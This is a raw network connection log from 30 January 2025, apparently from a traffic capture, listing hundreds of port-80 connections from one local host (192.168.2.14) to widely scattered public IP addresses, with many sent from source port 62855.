Jan 30, 2025 10:43:08.523114920 CET	34888	80	192.168.2.14	135.136.191.113
Jan 30, 2025 10:43:08.523114920 CET	49888	80	192.168.2.14	25.106.63.88
Jan 30, 2025 10:43:08.523114920 CET	59464	80	192.168.2.14	97.108.248.57
Jan 30, 2025 10:43:08.523114920 CET	36334	80	192.168.2.14	51.121.157.167
Jan 30, 2025 10:43:08.523123026 CET	43814	80	192.168.2.14	67.162.169.69
Jan 30, 2025 10:43:08.523123980 CET	49212	80	192.168.2.14	111.171.81.116
Jan 30, 2025 10:43:08.523123980 CET	46078	80	192.168.2.14	118.14.191.105
Jan 30, 2025 10:43:08.523123026 CET	36284	80	192.168.2.14	68.138.249.105
Jan 30, 2025 10:43:08.523125887 CET	57202	80	192.168.2.14	104.234.182.98
Jan 30, 2025 10:43:08.523123980 CET	33700	80	192.168.2.14	213.166.156.152
Jan 30, 2025 10:43:08.523123980 CET	58796	80	192.168.2.14	145.226.147.93
Jan 30, 2025 10:43:08.523155928 CET	42056	80	192.168.2.14	99.52.36.64
Jan 30, 2025 10:43:08.523178101 CET	46900	80	192.168.2.14	216.35.1.242
Jan 30, 2025 10:43:08.523179054 CET	46934	80	192.168.2.14	111.185.169.137
Jan 30, 2025 10:43:08.523179054 CET	50418	80	192.168.2.14	159.173.59.75
Jan 30, 2025 10:43:08.523179054 CET	49450	80	192.168.2.14	208.22.142.137
Jan 30, 2025 10:43:08.523179054 CET	46152	80	192.168.2.14	140.38.79.111
Jan 30, 2025 10:43:08.523179054 CET	47102	80	192.168.2.14	181.254.228.55
Jan 30, 2025 10:43:08.523179054 CET	33008	80	192.168.2.14	176.169.106.94
Jan 30, 2025 10:43:08.523179054 CET	47466	80	192.168.2.14	122.13.196.224
Jan 30, 2025 10:43:08.523255110 CET	58282	80	192.168.2.14	74.171.106.18
Jan 30, 2025 10:43:08.528249979 CET	80	45986	116.146.162.253	192.168.2.14
Jan 30, 2025 10:43:08.528260946 CET	80	49380	153.78.202.93	192.168.2.14
Jan 30, 2025 10:43:08.528342962 CET	45986	80	192.168.2.14	116.146.162.253
Jan 30, 2025 10:43:08.528347015 CET	49380	80	192.168.2.14	153.78.202.93
Jan 30, 2025 10:43:08.528393984 CET	80	44592	82.95.255.220	192.168.2.14
Jan 30, 2025 10:43:08.528407097 CET	80	60262	176.40.25.167	192.168.2.14
Jan 30, 2025 10:43:08.528417110 CET	80	55186	155.79.148.101	192.168.2.14
Jan 30, 2025 10:43:08.528438091 CET	44592	80	192.168.2.14	82.95.255.220
Jan 30, 2025 10:43:08.528446913 CET	80	57600	46.194.105.28	192.168.2.14
Jan 30, 2025 10:43:08.528458118 CET	80	35364	86.12.127.77	192.168.2.14
Jan 30, 2025 10:43:08.528466940 CET	80	34748	40.39.22.91	192.168.2.14
Jan 30, 2025 10:43:08.528469086 CET	60262	80	192.168.2.14	176.40.25.167
Jan 30, 2025 10:43:08.528477907 CET	80	35452	69.220.86.47	192.168.2.14
Jan 30, 2025 10:43:08.528487921 CET	80	34888	135.136.191.113	192.168.2.14
Jan 30, 2025 10:43:08.528490067 CET	57600	80	192.168.2.14	46.194.105.28
Jan 30, 2025 10:43:08.528491974 CET	35364	80	192.168.2.14	86.12.127.77
Jan 30, 2025 10:43:08.528497934 CET	80	49888	25.106.63.88	192.168.2.14
Jan 30, 2025 10:43:08.528507948 CET	55186	80	192.168.2.14	155.79.148.101
Jan 30, 2025 10:43:08.528508902 CET	80	59464	97.108.248.57	192.168.2.14
Jan 30, 2025 10:43:08.528520107 CET	80	36334	51.121.157.167	192.168.2.14
Jan 30, 2025 10:43:08.528525114 CET	35452	80	192.168.2.14	69.220.86.47
Jan 30, 2025 10:43:08.528525114 CET	34748	80	192.168.2.14	40.39.22.91
Jan 30, 2025 10:43:08.528531075 CET	34888	80	192.168.2.14	135.136.191.113
Jan 30, 2025 10:43:08.528531075 CET	49888	80	192.168.2.14	25.106.63.88
Jan 30, 2025 10:43:08.528541088 CET	59464	80	192.168.2.14	97.108.248.57
Jan 30, 2025 10:43:08.528546095 CET	36334	80	192.168.2.14	51.121.157.167
Jan 30, 2025 10:43:08.528554916 CET	80	57202	104.234.182.98	192.168.2.14
Jan 30, 2025 10:43:08.528575897 CET	80	39102	131.125.12.195	192.168.2.14
Jan 30, 2025 10:43:08.528587103 CET	80	59460	63.123.128.167	192.168.2.14
Jan 30, 2025 10:43:08.528597116 CET	57202	80	192.168.2.14	104.234.182.98
Jan 30, 2025 10:43:08.528598070 CET	80	49212	111.171.81.116	192.168.2.14
Jan 30, 2025 10:43:08.528604031 CET	62855	80	192.168.2.14	159.62.95.207
Jan 30, 2025 10:43:08.528610945 CET	80	39344	106.111.211.33	192.168.2.14
Jan 30, 2025 10:43:08.528621912 CET	80	43814	67.162.169.69	192.168.2.14
Jan 30, 2025 10:43:08.528631926 CET	80	46078	118.14.191.105	192.168.2.14
Jan 30, 2025 10:43:08.528635979 CET	39102	80	192.168.2.14	131.125.12.195
Jan 30, 2025 10:43:08.528639078 CET	49212	80	192.168.2.14	111.171.81.116
Jan 30, 2025 10:43:08.528642893 CET	80	36284	68.138.249.105	192.168.2.14
Jan 30, 2025 10:43:08.528654099 CET	80	33700	213.166.156.152	192.168.2.14
Jan 30, 2025 10:43:08.528659105 CET	59460	80	192.168.2.14	63.123.128.167
Jan 30, 2025 10:43:08.528659105 CET	43814	80	192.168.2.14	67.162.169.69
Jan 30, 2025 10:43:08.528664112 CET	80	58796	145.226.147.93	192.168.2.14
Jan 30, 2025 10:43:08.528675079 CET	80	42056	99.52.36.64	192.168.2.14
Jan 30, 2025 10:43:08.528676987 CET	39344	80	192.168.2.14	106.111.211.33
Jan 30, 2025 10:43:08.528681993 CET	36284	80	192.168.2.14	68.138.249.105
Jan 30, 2025 10:43:08.528685093 CET	33700	80	192.168.2.14	213.166.156.152
Jan 30, 2025 10:43:08.528685093 CET	80	46900	216.35.1.242	192.168.2.14
Jan 30, 2025 10:43:08.528702974 CET	80	46934	111.185.169.137	192.168.2.14
Jan 30, 2025 10:43:08.528703928 CET	46078	80	192.168.2.14	118.14.191.105
Jan 30, 2025 10:43:08.528703928 CET	58796	80	192.168.2.14	145.226.147.93
Jan 30, 2025 10:43:08.528714895 CET	80	50418	159.173.59.75	192.168.2.14
Jan 30, 2025 10:43:08.528726101 CET	80	49450	208.22.142.137	192.168.2.14
Jan 30, 2025 10:43:08.528728962 CET	42056	80	192.168.2.14	99.52.36.64
Jan 30, 2025 10:43:08.528737068 CET	80	46152	140.38.79.111	192.168.2.14
Jan 30, 2025 10:43:08.528758049 CET	46900	80	192.168.2.14	216.35.1.242
Jan 30, 2025 10:43:08.528758049 CET	46934	80	192.168.2.14	111.185.169.137
Jan 30, 2025 10:43:08.528789043 CET	49450	80	192.168.2.14	208.22.142.137
Jan 30, 2025 10:43:08.528789043 CET	50418	80	192.168.2.14	159.173.59.75
Jan 30, 2025 10:43:08.528789043 CET	46152	80	192.168.2.14	140.38.79.111
Jan 30, 2025 10:43:08.528816938 CET	62855	80	192.168.2.14	208.151.199.185
Jan 30, 2025 10:43:08.528827906 CET	62855	80	192.168.2.14	198.51.84.236
Jan 30, 2025 10:43:08.528851032 CET	62855	80	192.168.2.14	37.9.120.233
Jan 30, 2025 10:43:08.528851986 CET	62855	80	192.168.2.14	93.64.136.52
Jan 30, 2025 10:43:08.528881073 CET	62855	80	192.168.2.14	205.143.89.165
Jan 30, 2025 10:43:08.528881073 CET	62855	80	192.168.2.14	95.97.35.213
Jan 30, 2025 10:43:08.528881073 CET	62855	80	192.168.2.14	83.73.59.204
Jan 30, 2025 10:43:08.528889894 CET	62855	80	192.168.2.14	203.220.125.148
Jan 30, 2025 10:43:08.528892040 CET	62855	80	192.168.2.14	69.163.78.76
Jan 30, 2025 10:43:08.528898001 CET	62855	80	192.168.2.14	87.45.118.243
Jan 30, 2025 10:43:08.528898954 CET	62855	80	192.168.2.14	57.93.79.33
Jan 30, 2025 10:43:08.528898001 CET	62855	80	192.168.2.14	25.240.132.103
Jan 30, 2025 10:43:08.528898001 CET	62855	80	192.168.2.14	31.167.185.76
Jan 30, 2025 10:43:08.528907061 CET	62855	80	192.168.2.14	12.176.16.83
Jan 30, 2025 10:43:08.528912067 CET	62855	80	192.168.2.14	174.243.232.65
Jan 30, 2025 10:43:08.528912067 CET	62855	80	192.168.2.14	13.4.165.218
Jan 30, 2025 10:43:08.528928041 CET	62855	80	192.168.2.14	199.210.14.25
Jan 30, 2025 10:43:08.528934956 CET	62855	80	192.168.2.14	13.127.131.89
Jan 30, 2025 10:43:08.528934956 CET	62855	80	192.168.2.14	116.212.65.85
Jan 30, 2025 10:43:08.528940916 CET	62855	80	192.168.2.14	100.162.97.57
Jan 30, 2025 10:43:08.528949976 CET	62855	80	192.168.2.14	40.228.10.244
Jan 30, 2025 10:43:08.528960943 CET	62855	80	192.168.2.14	93.169.144.234
Jan 30, 2025 10:43:08.528969049 CET	62855	80	192.168.2.14	95.6.27.233
Jan 30, 2025 10:43:08.528969049 CET	62855	80	192.168.2.14	37.11.30.83
Jan 30, 2025 10:43:08.528976917 CET	62855	80	192.168.2.14	19.84.65.14
Jan 30, 2025 10:43:08.528978109 CET	62855	80	192.168.2.14	205.134.225.103
Jan 30, 2025 10:43:08.528985023 CET	62855	80	192.168.2.14	101.152.209.144
Jan 30, 2025 10:43:08.528995991 CET	62855	80	192.168.2.14	68.104.211.74
Jan 30, 2025 10:43:08.529006958 CET	62855	80	192.168.2.14	121.111.52.114
Jan 30, 2025 10:43:08.529009104 CET	62855	80	192.168.2.14	194.170.42.41
Jan 30, 2025 10:43:08.529011011 CET	62855	80	192.168.2.14	60.205.7.254
Jan 30, 2025 10:43:08.529026985 CET	62855	80	192.168.2.14	36.220.242.210
Jan 30, 2025 10:43:08.529031992 CET	62855	80	192.168.2.14	217.150.139.72
Jan 30, 2025 10:43:08.529048920 CET	62855	80	192.168.2.14	74.239.108.50
Jan 30, 2025 10:43:08.529048920 CET	62855	80	192.168.2.14	113.63.224.128
Jan 30, 2025 10:43:08.529052973 CET	62855	80	192.168.2.14	171.108.68.123
Jan 30, 2025 10:43:08.529071093 CET	62855	80	192.168.2.14	94.150.221.56
Jan 30, 2025 10:43:08.529072046 CET	62855	80	192.168.2.14	193.96.169.52
Jan 30, 2025 10:43:08.529076099 CET	62855	80	192.168.2.14	38.104.143.170
Jan 30, 2025 10:43:08.529077053 CET	62855	80	192.168.2.14	196.205.255.239
Jan 30, 2025 10:43:08.529082060 CET	62855	80	192.168.2.14	177.82.211.22
Jan 30, 2025 10:43:08.529095888 CET	62855	80	192.168.2.14	153.103.45.59
Jan 30, 2025 10:43:08.529095888 CET	62855	80	192.168.2.14	131.233.250.227
Jan 30, 2025 10:43:08.529112101 CET	62855	80	192.168.2.14	37.51.163.241
Jan 30, 2025 10:43:08.529114962 CET	62855	80	192.168.2.14	161.46.16.220
Jan 30, 2025 10:43:08.529124022 CET	62855	80	192.168.2.14	116.139.19.250
Jan 30, 2025 10:43:08.529135942 CET	62855	80	192.168.2.14	164.74.206.184
Jan 30, 2025 10:43:08.529146910 CET	62855	80	192.168.2.14	192.35.229.129
Jan 30, 2025 10:43:08.529150009 CET	62855	80	192.168.2.14	46.37.68.185
Jan 30, 2025 10:43:08.529150009 CET	62855	80	192.168.2.14	27.196.250.6
Jan 30, 2025 10:43:08.529167891 CET	62855	80	192.168.2.14	205.185.113.184
Jan 30, 2025 10:43:08.529169083 CET	62855	80	192.168.2.14	163.167.71.133
Jan 30, 2025 10:43:08.529177904 CET	62855	80	192.168.2.14	196.39.121.160
Jan 30, 2025 10:43:08.529184103 CET	62855	80	192.168.2.14	173.149.2.147
Jan 30, 2025 10:43:08.529201984 CET	62855	80	192.168.2.14	153.56.159.23
Jan 30, 2025 10:43:08.529206991 CET	62855	80	192.168.2.14	169.49.125.87
Jan 30, 2025 10:43:08.529211044 CET	62855	80	192.168.2.14	125.48.159.2
Jan 30, 2025 10:43:08.529213905 CET	62855	80	192.168.2.14	112.236.209.55
Jan 30, 2025 10:43:08.529217005 CET	62855	80	192.168.2.14	58.142.154.114
Jan 30, 2025 10:43:08.529218912 CET	62855	80	192.168.2.14	40.114.138.251
Jan 30, 2025 10:43:08.529236078 CET	62855	80	192.168.2.14	195.252.84.21
Jan 30, 2025 10:43:08.529236078 CET	62855	80	192.168.2.14	185.118.219.103
Jan 30, 2025 10:43:08.529237986 CET	62855	80	192.168.2.14	89.183.83.208
Jan 30, 2025 10:43:08.529259920 CET	62855	80	192.168.2.14	128.156.5.38
Jan 30, 2025 10:43:08.529266119 CET	62855	80	192.168.2.14	182.254.221.234
Jan 30, 2025 10:43:08.529268026 CET	62855	80	192.168.2.14	105.48.225.246
Jan 30, 2025 10:43:08.529273033 CET	62855	80	192.168.2.14	109.84.228.30
Jan 30, 2025 10:43:08.529273033 CET	62855	80	192.168.2.14	75.91.184.57
Jan 30, 2025 10:43:08.529273987 CET	62855	80	192.168.2.14	198.40.97.64
Jan 30, 2025 10:43:08.529273987 CET	62855	80	192.168.2.14	126.79.25.77
Jan 30, 2025 10:43:08.529278994 CET	62855	80	192.168.2.14	188.53.229.100
Jan 30, 2025 10:43:08.529279947 CET	62855	80	192.168.2.14	141.105.165.183
Jan 30, 2025 10:43:08.529283047 CET	62855	80	192.168.2.14	38.180.234.185
Jan 30, 2025 10:43:08.529300928 CET	62855	80	192.168.2.14	61.253.87.62
Jan 30, 2025 10:43:08.529301882 CET	62855	80	192.168.2.14	40.204.38.56
Jan 30, 2025 10:43:08.529311895 CET	62855	80	192.168.2.14	133.53.248.208
Jan 30, 2025 10:43:08.529315948 CET	62855	80	192.168.2.14	180.7.205.99
Jan 30, 2025 10:43:08.529320002 CET	62855	80	192.168.2.14	109.230.37.207
Jan 30, 2025 10:43:08.529320002 CET	62855	80	192.168.2.14	121.202.227.37
Jan 30, 2025 10:43:08.529328108 CET	62855	80	192.168.2.14	202.68.181.244
Jan 30, 2025 10:43:08.529328108 CET	62855	80	192.168.2.14	128.33.86.173
Jan 30, 2025 10:43:08.529337883 CET	62855	80	192.168.2.14	172.80.246.249
Jan 30, 2025 10:43:08.529344082 CET	62855	80	192.168.2.14	62.164.196.203
Jan 30, 2025 10:43:08.529351950 CET	62855	80	192.168.2.14	176.113.120.173
Jan 30, 2025 10:43:08.529361010 CET	62855	80	192.168.2.14	37.204.27.130
Jan 30, 2025 10:43:08.529370070 CET	62855	80	192.168.2.14	116.237.80.11
Jan 30, 2025 10:43:08.529376984 CET	62855	80	192.168.2.14	217.247.245.161
Jan 30, 2025 10:43:08.529378891 CET	62855	80	192.168.2.14	143.224.15.184
Jan 30, 2025 10:43:08.529378891 CET	62855	80	192.168.2.14	32.136.138.81
Jan 30, 2025 10:43:08.529396057 CET	62855	80	192.168.2.14	14.179.220.242
Jan 30, 2025 10:43:08.529397964 CET	62855	80	192.168.2.14	70.129.198.10
Jan 30, 2025 10:43:08.529405117 CET	62855	80	192.168.2.14	57.52.205.61
Jan 30, 2025 10:43:08.529417992 CET	62855	80	192.168.2.14	81.235.102.74
Jan 30, 2025 10:43:08.529417992 CET	62855	80	192.168.2.14	67.197.170.193
Jan 30, 2025 10:43:08.529426098 CET	62855	80	192.168.2.14	109.237.110.108
Jan 30, 2025 10:43:08.529438019 CET	62855	80	192.168.2.14	191.189.11.139
Jan 30, 2025 10:43:08.529442072 CET	62855	80	192.168.2.14	213.252.213.252
Jan 30, 2025 10:43:08.529444933 CET	62855	80	192.168.2.14	190.148.164.131
Jan 30, 2025 10:43:08.529448032 CET	62855	80	192.168.2.14	159.255.84.241
Jan 30, 2025 10:43:08.529453993 CET	62855	80	192.168.2.14	152.32.74.77
Jan 30, 2025 10:43:08.529465914 CET	62855	80	192.168.2.14	125.111.137.98
Jan 30, 2025 10:43:08.529470921 CET	62855	80	192.168.2.14	212.244.200.188
Jan 30, 2025 10:43:08.529479027 CET	62855	80	192.168.2.14	130.74.221.31
Jan 30, 2025 10:43:08.529484987 CET	62855	80	192.168.2.14	88.39.213.150
Jan 30, 2025 10:43:08.529494047 CET	62855	80	192.168.2.14	205.174.101.111
Jan 30, 2025 10:43:08.529495001 CET	62855	80	192.168.2.14	84.153.203.9
Jan 30, 2025 10:43:08.529506922 CET	62855	80	192.168.2.14	221.205.47.112
Jan 30, 2025 10:43:08.529514074 CET	62855	80	192.168.2.14	74.152.9.216
Jan 30, 2025 10:43:08.529516935 CET	62855	80	192.168.2.14	104.186.191.116
Jan 30, 2025 10:43:08.529520035 CET	62855	80	192.168.2.14	113.221.58.28
Jan 30, 2025 10:43:08.529522896 CET	62855	80	192.168.2.14	173.240.11.193
Jan 30, 2025 10:43:08.529525042 CET	62855	80	192.168.2.14	209.211.148.103
Jan 30, 2025 10:43:08.529539108 CET	62855	80	192.168.2.14	219.214.245.194
Jan 30, 2025 10:43:08.529545069 CET	62855	80	192.168.2.14	14.180.179.220
Jan 30, 2025 10:43:08.529556990 CET	62855	80	192.168.2.14	59.196.151.202
Jan 30, 2025 10:43:08.529556990 CET	62855	80	192.168.2.14	54.255.86.81
Jan 30, 2025 10:43:08.529565096 CET	62855	80	192.168.2.14	59.93.167.71
Jan 30, 2025 10:43:08.529575109 CET	62855	80	192.168.2.14	88.34.140.144
Jan 30, 2025 10:43:08.529578924 CET	62855	80	192.168.2.14	121.117.77.241
Jan 30, 2025 10:43:08.529591084 CET	62855	80	192.168.2.14	17.51.112.49
Jan 30, 2025 10:43:08.529591084 CET	62855	80	192.168.2.14	157.68.165.33
Jan 30, 2025 10:43:08.529591084 CET	62855	80	192.168.2.14	79.110.139.73
Jan 30, 2025 10:43:08.529622078 CET	62855	80	192.168.2.14	189.48.191.155
Jan 30, 2025 10:43:08.529623032 CET	62855	80	192.168.2.14	179.173.33.11
Jan 30, 2025 10:43:08.529624939 CET	62855	80	192.168.2.14	136.51.80.246
Jan 30, 2025 10:43:08.529629946 CET	62855	80	192.168.2.14	149.60.170.112
Jan 30, 2025 10:43:08.529632092 CET	62855	80	192.168.2.14	196.58.252.99
Jan 30, 2025 10:43:08.529632092 CET	62855	80	192.168.2.14	202.214.96.249
Jan 30, 2025 10:43:08.529632092 CET	62855	80	192.168.2.14	91.68.173.46
Jan 30, 2025 10:43:08.529638052 CET	62855	80	192.168.2.14	112.20.8.213
Jan 30, 2025 10:43:08.529643059 CET	62855	80	192.168.2.14	200.175.65.124
Jan 30, 2025 10:43:08.529652119 CET	62855	80	192.168.2.14	172.101.224.35
Jan 30, 2025 10:43:08.529659033 CET	62855	80	192.168.2.14	189.53.172.71
Jan 30, 2025 10:43:08.529663086 CET	62855	80	192.168.2.14	156.92.135.158
Jan 30, 2025 10:43:08.529663086 CET	62855	80	192.168.2.14	122.134.155.238
Jan 30, 2025 10:43:08.529681921 CET	62855	80	192.168.2.14	129.173.142.153
Jan 30, 2025 10:43:08.529686928 CET	62855	80	192.168.2.14	44.24.157.11
Jan 30, 2025 10:43:08.529696941 CET	62855	80	192.168.2.14	59.108.241.127
Jan 30, 2025 10:43:08.529700994 CET	62855	80	192.168.2.14	203.54.212.154
Jan 30, 2025 10:43:08.529711008 CET	62855	80	192.168.2.14	25.126.105.52
Jan 30, 2025 10:43:08.529712915 CET	62855	80	192.168.2.14	100.252.26.166
Jan 30, 2025 10:43:08.529722929 CET	62855	80	192.168.2.14	34.142.253.71
Jan 30, 2025 10:43:08.529732943 CET	62855	80	192.168.2.14	57.21.217.150
Jan 30, 2025 10:43:08.529738903 CET	62855	80	192.168.2.14	142.49.134.225
Jan 30, 2025 10:43:08.529740095 CET	62855	80	192.168.2.14	14.120.71.83
Jan 30, 2025 10:43:08.529740095 CET	62855	80	192.168.2.14	201.155.4.78
Jan 30, 2025 10:43:08.529750109 CET	62855	80	192.168.2.14	79.220.203.13
Jan 30, 2025 10:43:08.529757977 CET	62855	80	192.168.2.14	4.92.50.15
Jan 30, 2025 10:43:08.529762030 CET	62855	80	192.168.2.14	184.154.234.153
Jan 30, 2025 10:43:08.529777050 CET	62855	80	192.168.2.14	88.44.35.220
Jan 30, 2025 10:43:08.529779911 CET	62855	80	192.168.2.14	217.4.182.78
Jan 30, 2025 10:43:08.529779911 CET	62855	80	192.168.2.14	131.202.235.6
Jan 30, 2025 10:43:08.529781103 CET	62855	80	192.168.2.14	171.16.239.24
Jan 30, 2025 10:43:08.529784918 CET	62855	80	192.168.2.14	99.143.235.148
Jan 30, 2025 10:43:08.529795885 CET	62855	80	192.168.2.14	221.24.245.2
Jan 30, 2025 10:43:08.529799938 CET	62855	80	192.168.2.14	130.205.134.82
Jan 30, 2025 10:43:08.529800892 CET	62855	80	192.168.2.14	111.170.83.180
Jan 30, 2025 10:43:08.529817104 CET	62855	80	192.168.2.14	93.237.255.148
Jan 30, 2025 10:43:08.529819965 CET	62855	80	192.168.2.14	209.145.63.168
Jan 30, 2025 10:43:08.529828072 CET	62855	80	192.168.2.14	170.68.112.207
Jan 30, 2025 10:43:08.529839993 CET	62855	80	192.168.2.14	122.106.80.80
Jan 30, 2025 10:43:08.529840946 CET	62855	80	192.168.2.14	122.84.234.69
Jan 30, 2025 10:43:08.529851913 CET	62855	80	192.168.2.14	196.240.166.179
Jan 30, 2025 10:43:08.529853106 CET	62855	80	192.168.2.14	61.190.52.60
Jan 30, 2025 10:43:08.529866934 CET	62855	80	192.168.2.14	67.92.1.229
Jan 30, 2025 10:43:08.529870033 CET	62855	80	192.168.2.14	73.20.117.4
Jan 30, 2025 10:43:08.529881001 CET	62855	80	192.168.2.14	108.33.179.121
Jan 30, 2025 10:43:08.529889107 CET	62855	80	192.168.2.14	131.97.196.176
Jan 30, 2025 10:43:08.529890060 CET	62855	80	192.168.2.14	109.220.215.90
Jan 30, 2025 10:43:08.529896021 CET	62855	80	192.168.2.14	59.138.226.179
Jan 30, 2025 10:43:08.529900074 CET	62855	80	192.168.2.14	213.31.193.10
Jan 30, 2025 10:43:08.529902935 CET	62855	80	192.168.2.14	162.56.201.80
Jan 30, 2025 10:43:08.529917955 CET	62855	80	192.168.2.14	87.80.89.207
Jan 30, 2025 10:43:08.529921055 CET	62855	80	192.168.2.14	163.129.100.212
Jan 30, 2025 10:43:08.529927015 CET	62855	80	192.168.2.14	184.216.236.122
Jan 30, 2025 10:43:08.529941082 CET	62855	80	192.168.2.14	44.6.71.138
Jan 30, 2025 10:43:08.529941082 CET	62855	80	192.168.2.14	201.73.200.98
Jan 30, 2025 10:43:08.529947042 CET	62855	80	192.168.2.14	150.60.130.212
Jan 30, 2025 10:43:08.529959917 CET	62855	80	192.168.2.14	104.164.104.192
Jan 30, 2025 10:43:08.529963970 CET	62855	80	192.168.2.14	223.135.36.225
Jan 30, 2025 10:43:08.529969931 CET	62855	80	192.168.2.14	146.158.141.154
Jan 30, 2025 10:43:08.529982090 CET	62855	80	192.168.2.14	92.244.128.64
Jan 30, 2025 10:43:08.529983044 CET	62855	80	192.168.2.14	110.213.221.176
Jan 30, 2025 10:43:08.529983997 CET	62855	80	192.168.2.14	109.128.148.142
Jan 30, 2025 10:43:08.529994011 CET	62855	80	192.168.2.14	32.183.229.23
Jan 30, 2025 10:43:08.529995918 CET	62855	80	192.168.2.14	142.32.108.3
Jan 30, 2025 10:43:08.529999971 CET	62855	80	192.168.2.14	150.112.243.60
Jan 30, 2025 10:43:08.530010939 CET	62855	80	192.168.2.14	69.44.16.32
Jan 30, 2025 10:43:08.530014992 CET	62855	80	192.168.2.14	189.128.78.142
Jan 30, 2025 10:43:08.530020952 CET	62855	80	192.168.2.14	220.209.147.45
Jan 30, 2025 10:43:08.530030012 CET	62855	80	192.168.2.14	198.251.92.15
Jan 30, 2025 10:43:08.530036926 CET	62855	80	192.168.2.14	82.42.87.124
Jan 30, 2025 10:43:08.530040026 CET	62855	80	192.168.2.14	114.28.162.70
Jan 30, 2025 10:43:08.530056953 CET	62855	80	192.168.2.14	37.191.102.132
Jan 30, 2025 10:43:08.530056953 CET	62855	80	192.168.2.14	137.210.80.62
Jan 30, 2025 10:43:08.530057907 CET	62855	80	192.168.2.14	48.245.238.254
Jan 30, 2025 10:43:08.530056953 CET	62855	80	192.168.2.14	166.159.22.22
Jan 30, 2025 10:43:08.530069113 CET	62855	80	192.168.2.14	184.227.243.215
Jan 30, 2025 10:43:08.530083895 CET	62855	80	192.168.2.14	219.101.139.141
Jan 30, 2025 10:43:08.530087948 CET	62855	80	192.168.2.14	123.88.113.117
Jan 30, 2025 10:43:08.530097961 CET	62855	80	192.168.2.14	67.245.86.227
Jan 30, 2025 10:43:08.530107021 CET	62855	80	192.168.2.14	152.208.223.157
Jan 30, 2025 10:43:08.530107021 CET	62855	80	192.168.2.14	104.130.227.173
Jan 30, 2025 10:43:08.530107975 CET	62855	80	192.168.2.14	46.207.184.154
Jan 30, 2025 10:43:08.530111074 CET	62855	80	192.168.2.14	190.173.179.59
Jan 30, 2025 10:43:08.530128002 CET	62855	80	192.168.2.14	130.155.161.54
Jan 30, 2025 10:43:08.530127048 CET	62855	80	192.168.2.14	83.231.230.142
Jan 30, 2025 10:43:08.530134916 CET	62855	80	192.168.2.14	144.245.127.217
Jan 30, 2025 10:43:08.530145884 CET	62855	80	192.168.2.14	74.70.203.69
Jan 30, 2025 10:43:08.530148029 CET	62855	80	192.168.2.14	205.3.200.81
Jan 30, 2025 10:43:08.530162096 CET	62855	80	192.168.2.14	86.0.9.247
Jan 30, 2025 10:43:08.530162096 CET	62855	80	192.168.2.14	46.66.255.38
Jan 30, 2025 10:43:08.530175924 CET	62855	80	192.168.2.14	63.230.188.113
Jan 30, 2025 10:43:08.530177116 CET	62855	80	192.168.2.14	113.213.203.62
Jan 30, 2025 10:43:08.530184984 CET	62855	80	192.168.2.14	88.251.116.36
Jan 30, 2025 10:43:08.530191898 CET	62855	80	192.168.2.14	140.22.14.110
Jan 30, 2025 10:43:08.530209064 CET	62855	80	192.168.2.14	47.218.116.36
Jan 30, 2025 10:43:08.530209064 CET	62855	80	192.168.2.14	134.139.60.170
Jan 30, 2025 10:43:08.530210018 CET	62855	80	192.168.2.14	114.102.242.69
Jan 30, 2025 10:43:08.530211926 CET	62855	80	192.168.2.14	135.73.156.146
Jan 30, 2025 10:43:08.530222893 CET	62855	80	192.168.2.14	153.202.53.55
Jan 30, 2025 10:43:08.530229092 CET	62855	80	192.168.2.14	101.236.60.127
Jan 30, 2025 10:43:08.530241966 CET	62855	80	192.168.2.14	109.64.209.10
Jan 30, 2025 10:43:08.530250072 CET	62855	80	192.168.2.14	17.59.254.156
Jan 30, 2025 10:43:08.530257940 CET	62855	80	192.168.2.14	69.85.170.222
Jan 30, 2025 10:43:08.530275106 CET	62855	80	192.168.2.14	37.21.217.109
Jan 30, 2025 10:43:08.530281067 CET	62855	80	192.168.2.14	47.34.25.92
Jan 30, 2025 10:43:08.530281067 CET	62855	80	192.168.2.14	201.37.173.90
Jan 30, 2025 10:43:08.530289888 CET	62855	80	192.168.2.14	155.94.114.179
Jan 30, 2025 10:43:08.530289888 CET	62855	80	192.168.2.14	175.82.7.25
Jan 30, 2025 10:43:08.530311108 CET	62855	80	192.168.2.14	165.253.75.43
Jan 30, 2025 10:43:08.530312061 CET	62855	80	192.168.2.14	58.25.171.115
Jan 30, 2025 10:43:08.530312061 CET	62855	80	192.168.2.14	103.147.118.41
Jan 30, 2025 10:43:08.530323029 CET	62855	80	192.168.2.14	92.19.66.5
Jan 30, 2025 10:43:08.530330896 CET	62855	80	192.168.2.14	101.120.125.162
Jan 30, 2025 10:43:08.530335903 CET	62855	80	192.168.2.14	166.73.37.36
Jan 30, 2025 10:43:08.530342102 CET	62855	80	192.168.2.14	99.226.106.30
Jan 30, 2025 10:43:08.530347109 CET	62855	80	192.168.2.14	27.240.183.98
Jan 30, 2025 10:43:08.530347109 CET	62855	80	192.168.2.14	59.95.192.119
Jan 30, 2025 10:43:08.530347109 CET	62855	80	192.168.2.14	57.103.130.116
Jan 30, 2025 10:43:08.530358076 CET	62855	80	192.168.2.14	166.230.90.18
Jan 30, 2025 10:43:08.530392885 CET	62855	80	192.168.2.14	43.69.189.140
Jan 30, 2025 10:43:08.530411005 CET	62855	80	192.168.2.14	210.74.71.88
Jan 30, 2025 10:43:08.530417919 CET	62855	80	192.168.2.14	48.246.163.236
Jan 30, 2025 10:43:08.530417919 CET	62855	80	192.168.2.14	50.190.80.247
Jan 30, 2025 10:43:08.530420065 CET	62855	80	192.168.2.14	147.28.199.9
Jan 30, 2025 10:43:08.530420065 CET	62855	80	192.168.2.14	161.81.82.200
Jan 30, 2025 10:43:08.530420065 CET	62855	80	192.168.2.14	69.71.39.222
Jan 30, 2025 10:43:08.530421019 CET	62855	80	192.168.2.14	170.202.174.38
Jan 30, 2025 10:43:08.530421019 CET	62855	80	192.168.2.14	95.225.139.120
Jan 30, 2025 10:43:08.530421019 CET	62855	80	192.168.2.14	150.132.135.134
Jan 30, 2025 10:43:08.530425072 CET	62855	80	192.168.2.14	122.172.110.16
Jan 30, 2025 10:43:08.530436993 CET	62855	80	192.168.2.14	133.166.116.139
Jan 30, 2025 10:43:08.530436993 CET	62855	80	192.168.2.14	50.26.231.9
Jan 30, 2025 10:43:08.530438900 CET	62855	80	192.168.2.14	46.6.61.203
Jan 30, 2025 10:43:08.530438900 CET	62855	80	192.168.2.14	172.250.215.232
Jan 30, 2025 10:43:08.530440092 CET	62855	80	192.168.2.14	220.140.172.164
Jan 30, 2025 10:43:08.530442953 CET	62855	80	192.168.2.14	84.94.225.71
Jan 30, 2025 10:43:08.530442953 CET	62855	80	192.168.2.14	104.196.134.152
Jan 30, 2025 10:43:08.530442953 CET	62855	80	192.168.2.14	52.125.185.130
